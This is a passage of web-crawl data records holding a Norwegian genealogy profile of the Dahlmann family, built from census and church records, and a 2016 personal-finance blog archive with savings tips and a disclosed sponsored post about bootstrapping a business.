"e3c4bc85-fd4a-4e6a-a505-7084f5efad17"}
{"url": "http://www.sagahuus.com/profile/group/66/anna-emilie-hultin-og-hans-hjalmar-dahlmann.htm", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:39:26Z", "text": "# Anna Emilie Hultin og Hans Hjalmar Dahlmann\n\n \nDenne profilen er tilegnet mine oldeforeldre Anna Emilie, f\u00f8dt Hultin, og Hans Hjalmar Dahlmann.\n\n    \n*Jeg laster opp noen bilder f\u00f8rst og litt tekst - og vil gradvis komme med mer informasjon etterhvert.*\u00a0  \n  \nSe for \u00f8vrig ogs\u00e5 profilen laget om Hans Hjalmars mor, Hilma Dahlmann.  \n  \n**Hans Hjalmar Dahlmann**  \nHans Hjalmar ble f\u00f8dt den 21. april 1881. I protokollene st\u00e5r f\u00f8lgende informasjon:\n\n  - Mor: pige Hilma Petersdatter Dalman, f\u00f8dt 1856 (25 \u00e5r), bopel Moss\n  - Far: ungkar og fattiglem Henrik Pedersen, f\u00f8dt 1854 (27 \u00e5r), bopel Moss\n  - D\u00e5psdato: 31. juli 1881\n  - Faddere: enke Martine Huseby, pige Josefine Petersdatter Dalman, sagarbeider Hagbart Johannessen, tjenestedreng Herman August Pedersen\n\n  \n\nBarnet er oppf\u00f8rt som \"uekte\" - det vil si f\u00f8dt utenfor ekteskap - og i merknadsfeltet er det skrevet f\u00f8lgende: \"Oppgitt av barnefaderens moder, enke Martine Huseby.\"  \n  \nB\u00e5de Hilma og Josefine (som var Hilmas yngre s\u00f8ster og ble kalt \"Finna\") er oppf\u00f8rt med navnet Petersdotter som ikke stemmer helt. Far til Hilma og Josefine het Elias - og hans fulle navn var Elias Petersson Dahlmann. Se flere detaljer i Hilma Dahlmanns profil.  \n  \nFolketellingen 1885 Moss: i 1885 var Hans Hjalmar 4 \u00e5r og bodde sammen med mamma Hilma (29 \u00e5r), bestefar Elias (59 \u00e5r, t\u00f8mmermann) og onkel Carl Emil (14 \u00e5r) i V\u00e6rlegaten 14, 1. etasje (se ekstern link under til Google maps).  \n\u00a0  \nFolketellingen 1900 Moss: i 1900 var Hans Hjalmar 19 \u00e5r og han er oppf\u00f8rt med bare navnet Hjalmar. Det kan tyde p\u00e5 at det var det de kalte ham i det daglige. P\u00e5 dette tidspunktet var han konditorl\u00e6rling hos Petter og Josefine Schou i Brehmers Bakeri i Storgaten, Moss - og han er oppf\u00f8rt med bosted p\u00e5 denne adressen. Hos Brehmer fant man bakeri, butikk og cafe. I familien sies det at Hjalmar mange \u00e5r senere ga sin yngste s\u00f8nn, Alf Petter, mellomnavnet Petter etter Petter Schou. Om dette var etter Petter Schou senior - eller hans s\u00f8nn som ogs\u00e5 het Petter og var p\u00e5 Hjalmars alder - skal v\u00e6re uvisst.  \n  \n**Folketellingen 1910**  \nI folketellingen fra 1910 st\u00e5r familien Dahlmann\u00a0oppf\u00f8rt med f\u00f8lgende opplysninger:\n\n  - Bosted:\u00a0Hammerfest (gaard), tellekrets Krosserene\n  - Hjalmar Dahlmann, f\u00f8dt 21. april 1881, f\u00f8dested Moss, yrke\u00a0konditor i Brehmers bakerforr.\n  - Emilie Dahlmann, f\u00f8dt 22. november 1881, f\u00f8dested Kristiania, yrke husstell\n  - Hjalmar Dahlmann, f\u00f8dt 12. september 1908, f\u00f8dested Fredrikstad (Glemmen)\n\n**\u00a0In memory of**\u00a0 **\u00a0United Kingdom**\u00a0 **  \n\u00a0LA Dahlmann**\n\n###### Elias Petterson Dahlmann\n\n", "language": "no", "__index_level_0__": "4ec2af71-3ae7-476d-95b8-9a64534e400f"}
{"url": "http://pengeblogg.bloggnorge.com/2016/06/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:46:03Z", "text": "## 2016 \u2013 Status juni\n\njuni 30, 2016 @ 8:20 am \u00b7 Filed under 2016\n\nI juni sparte jeg som vanlig kr 21.000, men aksjeportef\u00f8ljen min fikk litt juling, s\u00e5 totalt sett falt min netto finansformue med nesten kr 22.000 i verdi.\n\nGrafen nedenfor viser utviklingen s\u00e5 langt i \u00e5r.\n\n\n\n## \u00d8konomisk uavhengighet \u2013 en slags oppsummering\n\njuni 28, 2016 @ 11:29 am \u00b7 Filed under 31.12.2018, \u00d8konomisk uavhengighet\n\nDette er det siste innlegget i min serie av innlegg om \u00f8konomisk uavhengighet i denne omgang. Jeg kommer selvsagt til \u00e5 skrive mye mer om dette temaet ogs\u00e5 senere, men da som selvstendige innlegg.\n\nHer f\u00f8lger mine ti beste tips for deg som \u00f8nsker \u00e5 bli \u00f8konomisk uavhengig, samt en egenvurdering av hvor flink jeg anser meg selv\u00a0\u00e5 v\u00e6re per i dag. Dette ble et\u00a0relativt langt innlegg, der jeg kommer inn p\u00e5 mange ulike tema som helt eller delvis har med \u00f8konomisk uavhengighet \u00e5 gj\u00f8re, men jeg syns det ble en ganske bra oppsummering av mitt syn p\u00e5 hva som kreves.\n\n\u00a0\n**Sparerate er og blir det aller viktigste**\n\nSkal du klare \u00e5 oppn\u00e5 \u00f8konomisk uavhengighet, er du n\u00f8dt til \u00e5\u00a0ta noen t\u00f8ffe valg, og det aller viktigste valget er at du m\u00e5\u00a0velge (jepp, det er et valg, ikke pr\u00f8v deg p\u00e5 \u00e5 ta p\u00e5 deg offerhatten her n\u00e5) \u00e5 spare\u00a0en betydelig andel av inntekten din hver eneste m\u00e5ned. Om du betaler deg selv f\u00f8rst (slik jeg gj\u00f8r) eller lager en eller annen form for personlig budsjett for \u00e5 klare \u00e5 spare mye, er ikke det viktigste. Her m\u00e5 du finne et opplegg som passer for akkurat deg. Det avgj\u00f8rende er hvor mye du faktisk klarer \u00e5 spare. N\u00e5r du begynner \u00e5 spare, vil du sannsynligvis f\u00f8le at du er n\u00f8dt til \u00e5 ofre mye for \u00e5 klare \u00e5\u00a0oppn\u00e5 en h\u00f8y sparerate. Men hvis du holder ut de f\u00f8rste m\u00e5nedene, vil hodet ditt trolig etter hvert mer og mer komme i \u00absparemodus\u00bb, og du vil da finne mye mer mening i det \u00e5 spare enn i det \u00e5 stadig kj\u00f8pe deg noe nytt. N\u00e5r du n\u00e5r dette stadiet, f\u00f8les det ikke lenger som noe offer \u00e5 spare, og det gj\u00f8r selvsagt at det \u00e5 spare mye blir betydelig enklere. Hvor tilfreds du er med tilv\u00e6relsen har absolutt ingenting \u00e5 gj\u00f8re med hvor mange ting du eier (over et visst minimumsniv\u00e5, s\u00e5 klart), selv om reklamen og andre krefter i forbrukersamfunnet stadig pr\u00f8ver \u00e5 f\u00e5 deg til \u00e5 tro at det finnes en slik sammenheng.\n\nHvor mye b\u00f8r du spare? Svaret er s\u00e5 mye som mulig, men selvsagt ikke s\u00e5 mye at du sulter, fryser eller p\u00e5 andre m\u00e5ter lider p\u00e5 grunn av det (ok da, skal jeg v\u00e6re helt \u00e6rlig, s\u00e5\u00a0syns jeg mange nordmenn bare hadde hatt\u00a0godt av \u00e5 g\u00e5 litt sultne til tider, men det er en annen sak). Jeg vil si at minimum sparerate er 20 % dersom m\u00e5let ditt er \u00e5 bli \u00f8konomisk uavhengig. Sparer du mindre enn det, snakker vi mer om \u00e5 bygge opp midler til \u00e5 spe p\u00e5 pensjonen med n\u00e5r du blir gammel og gr\u00e5 (ikke noe galt i det, men det er ikke det vi snakker om her n\u00e5). En sparerate p\u00e5 over 50 % anser jeg som veldig bra, og alt over 67 % anser jeg som ekstremt bra.\n\nI f\u00f8rste halv\u00e5r i 2016 har jeg en sparerate p\u00e5 cirka 53 %. I andre halv\u00e5r forventer jeg at b\u00e5de inntekten min og sparingen min vil \u00f8ke, og forventet sparerate vil da ligge p\u00e5 cirka 54 %.\n\nTerningkast egen innsats: 5\n\n\u00a0\n**Ei boligen du bor i**\n\nIkke tenk for mye p\u00e5 timing og eventuelle kommende eiendomskrakk. Det billigste p\u00e5 sikt er i de fleste tilfeller \u00e5 bo i en bolig som man fullt og helt eier selv. Generelt vil jeg derfor anbefale alle \u00e5 kj\u00f8pe seg egen bolig s\u00e5 tidlig som mulig i livet. Det finnes likevel en del unntak her. Dersom du bor i en fraflyttingskommune, kan bo veldig billig i en leiebolig som blir \u00absponset\u00bb av arbeidsgiver eller stadig m\u00e5 flytte p\u00e5 deg p\u00e5 grunn av jobb eller andre forhold, kan det v\u00e6re greit \u00e5 leie framfor \u00e5 eie. Samtidig syns jeg godt du kan ta en viss risiko her. Det finnes mange som er fanget som evige leietakere blant annet fordi de ikke er helt sikre p\u00e5 hvor de skal bo og jobbe i framtiden. \u00c5rene g\u00e5r, og man havner lenger og lenger etter de som kj\u00f8pte seg bolig tidlig i livet.\n\nJeg bor i en enebolig, men i og med at jeg fremdeles har boligl\u00e5n, s\u00e5 eier jeg den ikke fullt og helt selv enn\u00e5. Jeg bruker dog boligl\u00e5net bevisst for \u00e5 gire opp aksjeportef\u00f8ljen min, s\u00e5 jeg kunne ha v\u00e6rt helt gjeldsfri hvis jeg hadde \u00f8nsket det. Som student leide jeg bolig (dog en veldig billig en gjennom Studentsamskibnaden), men jeg kj\u00f8pte min f\u00f8rste bolig rett etter at jeg begynte i min f\u00f8rste jobb. Ingen utleiehai har alts\u00e5 noen gang blitt rik p\u00e5 min bekostning. \ud83d\ude42\n\nTerningkast egen innsats: 5\n\n\u00a0\n**Ta tak i de st\u00f8rste kostnadspostene f\u00f8rst**\n\nDe aller st\u00f8rste kostnadspostene dine er trolig knyttet til bolig og transport. Det er nesten ikke grenser for hvor mye man kan bruke p\u00e5 disse postene. Mange nordmenn har stadig\u00a0dyre prosjekter p\u00e5 gang i\u00a0boligen sin\u00a0(og\u00a0boligen er i tillegg ofte stor og tungt bel\u00e5nt), og en dyr bil kan fort falle med flere kroner i verdi hver eneste time.\u00a0Str\u00f8m, ferie og mat er ogs\u00e5 betydelige kostnadsposter, og mange har mye \u00e5 hente p\u00e5 disse ogs\u00e5. Mange er flinke til \u00e5 spare p\u00e5 enkelte omr\u00e5der, men \u00f8delegger hele regnestykket ved at de har ett omr\u00e5de der pengene n\u00e6rmest renner ut. Tenk helhetlig her, og ikke lur deg selv. Det er sv\u00e6rt vanskelig \u00e5 bli \u00f8konomisk uavhengig dersom du har oppkj\u00f8rselen full av biler som faller i verdi.\n\nJeg har b\u00e5de hus og bil. Huset er noen \u00e5r gammelt, s\u00e5 det er langt ifra noe passivhus, s\u00e5 det g\u00e5r med en del kroner til oppvarming. For \u00f8vrig bruker jeg ganske lite p\u00e5 oppussing, men det blir selvsagt litt til l\u00f8pende vedlikehold. Bilen min er noen \u00e5r gammel, men ikke eldre enn at den fortsatt faller en god del i verdi hvert \u00e5r. Jeg bruker den ikke s\u00e5 veldig mye, men med unger er den sv\u00e6rt praktisk \u00e5 ha. P\u00e5 dette omr\u00e5det lever jeg ganske normalt, men innser at jeg kunne \u00f8kt spareraten\u00a0betydelig hvis jeg hadde v\u00e6rt villig til \u00e5 ta noen st\u00f8rre livsstilsvalg. Personlig hadde jeg ikke hatt noe problem med \u00e5 bo sv\u00e6rt enkelt og ikke hatt bil, men jeg har kone og barn ogs\u00e5, s\u00e5 da er det mange hensyn \u00e5 ta. For husfredens skyld velger jeg derfor i stor grad \u00e5 frede dette omr\u00e5det.\n\nTerningkast egen innsats: 3\n\n\u00a0\n**N\u00e5r du har trimmet ned de st\u00f8rste kostnadspostene, ta tak i de middels store og sm\u00e5**\n\nSammenlignet med boligkostnadene dine, er sannsynligvis de kostnadene du har til mobiltelefonbruk, kabel-tv, tabloidaviser p\u00e5 bensinstasjoner og brus p\u00e5 kiosken\u00a0relativt sm\u00e5, men det betyr ikke at de ikke er viktige \u00e5 ta tak i. Dette regnestykket har jeg nevnt mange ganger f\u00f8r, men jeg syns det kan v\u00e6re greit \u00e5 repetere: sparer du kr 50 hver dag og investerer pengene til 10 % avkastning, s\u00e5 vil du ha en million kroner etter cirka 20 \u00e5r. Noen som skriver om personlig \u00f8konomi n\u00e6rmest latterliggj\u00f8r det \u00e5 spare p\u00e5 sm\u00e5ting, og argumenterer med at det er de store tingene som drar kostnadene. Jeg mener alts\u00e5 at du b\u00f8r spare b\u00e5de p\u00e5 store og sm\u00e5 ting, men i riktig rekkef\u00f8lge. Er m\u00e5let h\u00f8y sparerate m\u00e5 du kutte der du kan, og da har du ikke r\u00e5d til ikke \u00e5\u00a0ta tak i alle\u00a0de sm\u00e5 lekkasjene i ditt \u00abfinansielle badekar\u00bb.\n\nP\u00e5 dette omr\u00e5det har jeg stadig blitt flinkere og flinkere. Jeg sjekker alle mine faste trekk minst en gang per \u00e5r, og jeg bruker veldig lite p\u00e5 sm\u00e5kj\u00f8p og impulskj\u00f8p.\n\nTerningkast egen innsats: 5\n\n\u00a0\n**Invester i aksjemarkedet**\n\nHistorisk sett er det f\u00e5 investeringsformer som\u00a0har sl\u00e5tt\u00a0den gode langsiktige avkastningen som aksjemarkedet har gitt. Mange er redde for aksjemarkedet, og tror at de som opererer der er gamblere, men dette stemmer bare for en liten andel av akt\u00f8rene. Og du trenger ikke \u00e5 lese hundrevis av\u00a0b\u00f8ker for \u00e5 lykkes. Syns du aksjer er fullstendig uinteressant, men likevel \u00f8nsker \u00e5 investere i aksjemarkedet, er passiv og langsiktig investering i et globalt indeksfond en glimrende l\u00f8sning. Jeg har tro p\u00e5 at det er fullt mulig \u00e5 sl\u00e5 markedet, men det koster \u00e5 pr\u00f8ve seg, s\u00e5 all forskning viser at de fleste ikke klarer det. \u00c5 investere passivt i et indeksfond kan v\u00e6re fryktelig kjedelig, men n\u00e5r det gjelder personlig \u00f8konomi, er det ofte slik at det kjedelige er det mest l\u00f8nnsomme p\u00e5 sikt. For de aller fleste vil det v\u00e6re bedre \u00e5 bruke tiden og energien sin p\u00e5 \u00e5 \u00f8ke inntekten og spareraten, framfor \u00e5 pr\u00f8ve seg p\u00e5 \u00e5 skape meravkastning i aksjemarkedet. Du kan jo alltids pr\u00f8ve deg p\u00e5 basehopping, rafting\u00a0eller noe annet\u00a0sm\u00e5farlig hvis det er adrenalin og spenning du er ute etter. Husk Warren Buffets to regler for hvordan man lykkes i aksjemarkedet: \u00abRule No.1: Never lose money. Rule No.2: Never forget rule No.1.\u00bb Ikke k\u00f8dd for mye med pengene dine\\! \ud83d\ude42\n\nJeg har investert i aksjemarkedet i mange \u00e5r. Jeg har gjort mange feil, men f\u00f8ler n\u00e5 at jeg har en fornuftig tiln\u00e6rming til markedet og jeg sover godt uansett hvor mye det svinger. Jeg investerer prim\u00e6rt i indeksfond, men har ogs\u00e5 tidvis noe i aktive fond og enkeltaksjer.\n\nTerningkast egen innsats: 5\n\n\u00a0\n**Ikke sl\u00e5 deg til ro med en gjennomsnittlig inntekt**\n\nDu kan v\u00e6re s\u00e5 flink som bare det til \u00e5 holde kostnadene dine nede, men dersom inntekten din er lav eller middels, s\u00e5 vil det fortsatt ta lang tid \u00e5 bli \u00f8konomisk uavhengig. Les deg opp til \u00e5 bli en arbeidstaker med topp kompetanse, l\u00e6r deg litt forhandlingsteknikk, st\u00e5 p\u00e5 og v\u00e6r positiv, og aldri, aldri, aldri sl\u00e5 deg til ro med en d\u00e5rlig betalt jobb. Er m\u00e5let \u00f8konomisk uavhengighet, holder det ikke at du har hyggelige kollegaer eller at du bruker andre ikke-\u00f8konomiske bortforklaringer p\u00e5 hvorfor du fortsetter i en \u00abdead-end job\u00bb. Hvis du er helt \u00e6rlig, s\u00e5 er sannsynligvis l\u00f8nna den viktigste grunnen til at du er i arbeidslivet. Selvsagt er det andre ting som teller ogs\u00e5, men l\u00f8nna er og blir det mest avgj\u00f8rende. I hvert fall b\u00f8r den v\u00e6re det hvis du \u00f8nsker \u00e5 bli \u00f8konomisk uavhengig i l\u00f8pet av noen f\u00e5 \u00e5r, og derfor bare skal v\u00e6re i arbeidslivet en begrenset periode. Det er mye lettere \u00e5 svelge noen digre kameler hvis tidshorisonten er fem \u00e5r enn\u00a0hvis tidshorisonten er femti \u00e5r. Flere inntektskilder er ogs\u00e5 en fordel, men ikke hvis de g\u00e5r p\u00e5 bekostning av den totale inntekten. Jeg mener det er bedre \u00e5 tjene\u00a0kr 1.000.000\u00a0p\u00e5 en enkelt\u00a0godt betalt jobb, enn det er \u00e5 tjene totalt kr 800.000 p\u00e5 fire ulike jobber, men det kan selvsagt v\u00e6re litt risikoreduserende \u00e5 ikke ha alle \u00abinntektseggene\u00bb sine i en kurv.\n\nI \u00e5r forventer jeg \u00e5 tjene godt over kr 700.000. Dette er ikke noen superinntekt, men den er likevel en god del over gjennomsnittet, og nok til at jeg klarer \u00e5 spare over halvparten av utbetalt inntekt hver m\u00e5ned. Jeg er likevel ikke noe s\u00e6rlig p\u00e5 hugget n\u00e5r det gjelder \u00e5 vurdere ny jobb, og jeg har kun hatt noen f\u00e5 ulike jobber i l\u00f8pet av min yrkeskarriere.\n\nTerningkast egen innsats: 4\n\n\u00a0\n**F\u00f8lg framgangen din**\n\nSkriv ned st\u00f8rrelsen p\u00e5 din netto finansformue hver m\u00e5ned, gjerne i et regneark. Det \u00e5 f\u00f8lge med p\u00e5 egen framgang kan virke sv\u00e6rt motiverende, og det \u00e5 lure seg selv ved \u00e5 tro at ting g\u00e5r bedre enn de faktisk gj\u00f8r er en sv\u00e6rt d\u00e5rlig strategi. Om du skal fortelle andre om framgangen din eller ikke, er helt opp til deg. Noen syns at dette legger litt ekstra press p\u00e5 dem selv, mens andre ikke f\u00e5r noe utbytte av det.\n\nDette f\u00f8lger jeg opp n\u00f8ye, og jeg skriver ogs\u00e5 m\u00e5nedlige statusinnlegg p\u00e5 denne bloggen.\n\nTerningkast egen innsats: 6\n\n\u00a0\n**Invester i eiendom for utleie eller eget firma hvis du har tid og interesse for det**\n\nMange store formuer har blitt bygget ved hjelp av eiendom og ved \u00e5 etablere nye firma, men skal du lykkes med dette, m\u00e5 du v\u00e6re villig til \u00e5 legge ned mye arbeid over lang tid. Er du av den mer bedagelige typen, kan du fint bli \u00f8konomisk uavhengig uten \u00e5 investere i eiendom og eget firma ogs\u00e5, men da m\u00e5 du som regel v\u00e6re litt mer t\u00e5lmodig.\n\nJeg har aldri v\u00e6rt noen typisk gr\u00fcndertype. Mitt store m\u00e5l er frihet, ikke det \u00e5 bli kjent eller skape noe helt nytt. Faktisk er idealet mitt \u00e5 v\u00e6re en relativt anonym million\u00e6r. Jeg tror ikke n\u00f8dvendigvis at man m\u00e5 v\u00e6re ekstremt nyskapende for \u00e5 lykkes med egen bedrift, men jeg tror dette passer best for dem med en litt annen personlighet enn det jeg har. I amerikansk litteratur st\u00e5r det ofte om \u00ablegacy\u00bb, alts\u00e5 at m\u00e5let skal v\u00e6re at man skal skape noe stort som folk snakker om og kjenner til i generasjoner etter at man er borte. Jeg kjenner meg ikke igjen i det hele tatt n\u00e5r jeg leser slike tanker. Jeg er opptatt av \u00e5 ha et godt liv og \u00e5 behandle de rundt meg p\u00e5 en god m\u00e5te. Klarer jeg i tillegg \u00e5 skape selvstendige og fornuftige mennesker ut av ungene mine, er jeg forn\u00f8yd. Om 200 \u00e5r vil minst 99,9 % av dem som lever i dag v\u00e6re helt glemt, og jeg har ingen problemer med \u00e5 v\u00e6re en av majoriteten p\u00e5 dette omr\u00e5det. Det finnes dog et \u00f8rlite h\u00e5p for\u00a0min \u00ablegacy\u00bb\u00a0ogs\u00e5. Jeg sysler jo litt med musikk, og noe av denne musikken tar jeg opp og lagrer. Hvem vet, kanskje graver noen antropologer fram min musikk om noen hundre \u00e5r og finner ut at jeg var helt genial. Selvsagt ytterst lite sannsynlig, men ikke mindre sannsynlig enn at en 25 \u00e5r gammel amerikaner med alt for stort ego skal bli husket\u00a0til evig tid\u00a0for den\u00a0lite originale\u00a0boken han skrev om veien til rikdom. \ud83d\ude42\n\nEiendom for utleie har jeg vurdert flere ganger, og jeg har regnet p\u00e5 helt konkrete case (sist for bare et par m\u00e5neder siden). S\u00e5 langt har jeg imidlertid kommet fram til at med mindre jeg klarer \u00e5 gj\u00f8re et kupp (noe jeg ikke har noen forutsetninger for \u00e5 klare), s\u00e5 er jeg helt avhengig av god verdistigning i boligmarkedet for at en investering i eiendom skal klare \u00e5 sl\u00e5\u00a0forventet avkastning i aksjemarkedet p\u00e5 sikt. Enn s\u00e5 lenge har jeg derfor valgt \u00e5 konsentrere meg om aksjemarkedet, men jeg ser ikke bort ifra at jeg en eller annen gang vil kj\u00f8pe meg en utleieleilighet. P\u00e5 den andre siden er det ogs\u00e5 godt mulig at jeg velger \u00e5 holde meg helt unna dette markedet. \u00abPrakkfaktoren\u00bb er tross alt noe st\u00f8rre n\u00e5r man investerer i eiendom enn n\u00e5r man investerer i aksjer, s\u00e5 mitt eget ideal ligger nok mye n\u00e6rmere det \u00e5 v\u00e6re en verdipapirmillion\u00e6r framfor det \u00e5 h\u00e5ndtere leietakere. Men, giringmulighetene og skattefordelene er jo ganske store n\u00e5r det gjelder eiendom, s\u00e5 her har jeg absolutt ikke tatt noen endelig beslutning enn\u00e5.\n\nJeg har et\u00a0ganske stort hus, s\u00e5 i perioder kunne jeg ha lagt ut ett av soverommene og ett av badene p\u00e5 Airbnb og f\u00e5tt en del leieinntekter p\u00e5 den m\u00e5ten. Enn s\u00e5 lenge har jeg ikke v\u00e6rt dristig nok til \u00e5 gj\u00f8re det, og kona er enda mer skeptisk enn meg, men med litt modning kan det godt hende at jeg vil tenke litt mer i de baner etter hvert.\n\nTerningkast egen innsats: 2\n\n\u00a0\n**V\u00e6r en evig student**\n\nJeg mener ikke at du skal bli av typen som rusler rundt p\u00e5 Blindern \u00e5r etter \u00e5r og aldri kommer ut i arbeidslivet. Det jeg mener er at du aldri m\u00e5 slutte med \u00e5 l\u00e6re deg nye ting. Les b\u00f8ker, blogger, se videoer p\u00e5 Youtube og v\u00e6r nysgjerrig p\u00e5 verden rundt deg. Det l\u00f8nner seg p\u00e5 sikt. Pass likevel p\u00e5 at du er en \u00abinformation user\u00bb og ikke en \u00abinformation junkie\u00bb. Du kan v\u00e6re s\u00e5 sprengl\u00e6rd som bare det, men hvis du ikke evner \u00e5 bruke alt det du kan til noe praktisk og nyttig, ser jeg ikke helt poenget. Uansett hvor mye du klarer \u00e5 stappe inn i hodet ditt av fakta, s\u00e5 vil Google fortsatt vite mer enn deg. For et par ti\u00e5r\u00a0siden\u00a0hadde ofte\u00a0l\u00e6rere og andre som hadde pugget mye fakta en slags autoritet kun fordi de visste mye. Dette gjelder ikke i like stor grad lenger. Jeg har en\u00a0slektning p\u00e5 over 70 \u00e5r som alltid har besittet mye kunnskap. Da jeg var barn husker jeg at n\u00e5r denne slektningen sa noe, s\u00e5 var dette n\u00e6rmest \u00e5 anse som en naturlov, og alle nikket og s\u00e5 anerkjennende p\u00e5 han. I dag er han litt mer frustert, for hvis han lirer av seg noen halvsannheter i et bursdagsselskap, kan det godt v\u00e6re at hans 12 \u00e5r gamle barnebarn sjekker Google p\u00e5 mobiltelefonen og forklarer han at det han sier bare delvis stemmer. \ud83d\ude42\n\nNedenfor f\u00f8lger\u00a0noen anbefalte blogger og\u00a0podcaster som jeg selv har l\u00e6rt mye av. Personlig s\u00e5 er jeg selvsagt ikke helt enig i alt innholdet, men selv ressurser som du bare delvis liker og er enig i kan inneholde verdifull informasjon. For meg er lydb\u00f8kene til Zig Ziglar et godt eksempel p\u00e5 dette. For mange \u00e5r siden kom jeg tilfeldigvis over noen av hans lydb\u00f8ker, og jeg syns de var b\u00e5de l\u00e6rerike, motiverende og morsomme (en veldig god kombinasjon). Litt senere fant jeg ut at han var kristen, og da h\u00f8rte jeg ogs\u00e5 at han flettet inn litt gud i lydb\u00f8kene sine. Min f\u00f8rste reaksjon var piggene ut, for jeg mener at religion er en privatsak og at man ikke b\u00f8r blande religion inn i andre deler av livet. Amerikanere ser imidlertid litt annerledes p\u00e5 dette, og kanskje s\u00e6rlig de litt eldre (Ziglar ble f\u00f8dt p\u00e5 1920-tallet). Jeg valgte derfor \u00e5 fortsette \u00e5 h\u00f8re p\u00e5 lydb\u00f8kene til Zig Ziglar, og ikke \u00e5 avfeie alt det flotte han produserte p\u00e5 grunn av at jeg ikke var enig i han p\u00e5 dette ene omr\u00e5det.\n\n  - Penger\u00e5det og Pengepodden (norske podcaster om penger, greie \u00e5 f\u00f8lge med p\u00e5 for \u00e5 holde seg oppdatert\u00a0om norske spareprodukter, skatteregler og lignende)\n\nJeg har i mange \u00e5r v\u00e6rt en bokorm, og jeg digger \u00e5 lese b\u00e5de b\u00f8ker og blogger. I tillegg h\u00f8rer jeg en del p\u00e5 podcaster og lydb\u00f8ker (spesielt p\u00e5 bussen til og fra jobb). Til tider har jeg v\u00e6rt en \u00abinformation junkie\u00bb, men n\u00e5 er jeg veldig bevisst p\u00e5 at jeg ogs\u00e5 skal bruke det jeg leser om i praksis.\n\nTerningkast egen innsats: 5\n\n\u00a0\n**Ikke gi opp for tidlig**\n\nDet tar ofte lengre tid enn man tror \u00e5 n\u00e5 store m\u00e5l. Men selv om du ser at du ikke vil klare \u00e5 bli \u00f8konomisk uavhengig innen den datoen du f\u00f8rst har sett for deg, s\u00e5 m\u00e5 du ikke gi opp. Grovt sett kan man dele det \u00e5 n\u00e5 store m\u00e5l inn i tre faser. Den f\u00f8rste fasen er startfasen. Da er man gjerne topp motivert og det meste g\u00e5r p\u00e5 skinner. I den andre enden av\u00a0tidslinjen har vi sluttfasen. Da er man snart i m\u00e5l, og man begynner \u00e5 se at alt strevet g\u00e5r mot slutten. Dette er ogs\u00e5 en grei fase. I mellom disse fasene er det imidlertid en lang mellomfase. I denne fasen, som man kanskje kan si utgj\u00f8r 80 % av den tiden det tar \u00e5 n\u00e5 m\u00e5let, g\u00e5r framgangen i rykk og napp og motivasjonen kommer og g\u00e5r. I lange perioder kan du f\u00f8le at du ikke f\u00e5r noen framgang (for eksempel n\u00e5r det verken g\u00e5r opp eller ned p\u00e5 b\u00f8rsen over flere m\u00e5neder), og dette kan v\u00e6re veldig frustrerende. Det er i denne fasen det er st\u00f8rst fare for \u00e5 gi opp, og at vinnerne skiller seg fra taperne. For \u00e5 klare \u00e5 holde ut denne lange mellomfasen, er det viktig at du finner ut hva som motiverer deg og hva som gj\u00f8r at du klarer \u00e5 holde fokus og holder deg p\u00e5 rett vei. Jeg leser b\u00f8ker og blogger og\u00a0h\u00f8rer p\u00e5 lydb\u00f8ker og podcaster for \u00e5 motivere meg selv. I tillegg er jeg helt avhengig av \u00e5 koble av fra pengetanker deler av dagen, og det gj\u00f8r jeg prim\u00e6rt gjennom \u00e5 v\u00e6re sammen med barna mine, ved \u00e5 trene (b\u00e5de styrke og kondisjon har god effekt) og ved \u00e5 sysle med musikk. Dette funker for meg; du m\u00e5 finne dine egne motivasjonsfaktorer.\n\nJeg syns jeg er p\u00e5 god vei mot \u00f8konomisk uavhengighet. I og med at jeg er tungt inne i aksjemarkedet, \u00f8ker ikke min netto finansformue hver m\u00e5ned, men i snitt over tid er det en fin vekst. Jeg kunne selvsagt tenke meg at det gikk mye raskere framover, men jeg innser at det tar tid \u00e5 n\u00e5 store m\u00e5l. Jeg tror ogs\u00e5 at jeg har en naturlig fordel p\u00e5 dette omr\u00e5det, fordi jeg er\u00a0noe mindre impulsiv og rastl\u00f8s enn det jeg ser at mange andre er. \u00c5 f\u00f8lge en plan over mange \u00e5r er det mange som sliter med, men jeg syns det g\u00e5r relativt greit. I utgangspunktet har jeg satt meg som m\u00e5l at jeg skal slutte \u00e5 jobbe 31.12.2018, men akkurat n\u00e5r jeg kan\u00a0si opp jobben\u00a0vil avhenge av utviklingen i aksjemarkedet framover. Blir det begredelige tider p\u00e5 b\u00f8rsene, vil jeg ikke n\u00e5 m\u00e5let innen denne datoen, men jeg har likevel ingen planer om \u00e5 gi opp.\n\nTerningkast egen innsats: 5\n\n\u00a0\nHar jeg f\u00e5tt med det vesentligste, eller har du andre tips for dem som har satt seg som m\u00e5l \u00e5 bli \u00f8konomisk uavhengige?\n\n## Bygge en bedrift kun p\u00e5 fortjeneste\n\n*Dette er et sponset innlegg.*\n\n\u00a0\n**En SmartBuyGlasses tilfellestudie**\n\nI tidsalderen for lavkonjunktur, har entrepren\u00f8rskap p\u00e5 soverommet blomstret. Noen har klart \u00e5 skape sin virksomhet fra grunnen av, og deretter gjort den verdensomspennende, vanligvis gjennom \u00e5 utnytte Internetts makt. Slik enorm vekst kan p\u00e5 mange m\u00e5ter skyldes at gr\u00fcnderideer er blitt spredd over v\u00e5re TV-skjermer; i serier som Dragons Den og The Apprentice blir noen f\u00e5 heldige tilbydd investeringer. Men for hver bedrift som s\u00f8ker investering, er det hundrevis av andre som har valgt en alternativ vei: Det \u00e5 bygge en bedrift kun p\u00e5 fortjeneste, ogs\u00e5 kjent som \u00abbootstrapping\u00bb.\n\nDette er et omr\u00e5de hvor jeg har mye personlig erfaring. Etter \u00e5 ha startet SmartBuyGlasses Optical Group helt uten investeringer (bortsett fra mye tid\\!), har selskapet n\u00e5 vokst til \u00e5 bli en ledende forhandler av designerbriller som opererer i mer enn 35 land og har over 150 ansatte globalt. Etter oppstarten av domenet www.visiondirect.com.au i 2006, s\u00e5 vi potensialet for vekst innen salg av solbriller, briller og kontaktlinser p\u00e5 nett. Ti \u00e5r senere eier og driver SmartBuyGlasses Optical Group over 40 domener i mer enn 35 land. Takket v\u00e6re denne erfaringen, setter jeg virkelig pris p\u00e5 det \u00e5 ha kontroll over viktige beslutninger, noe som er essensielt i et selskap som kun er i startfasen. Dette er en av de store fordelene med bootstrapping. Her kommer jeg med 6 tips for \u00e5 hjelpe alle som \u00f8nsker \u00e5 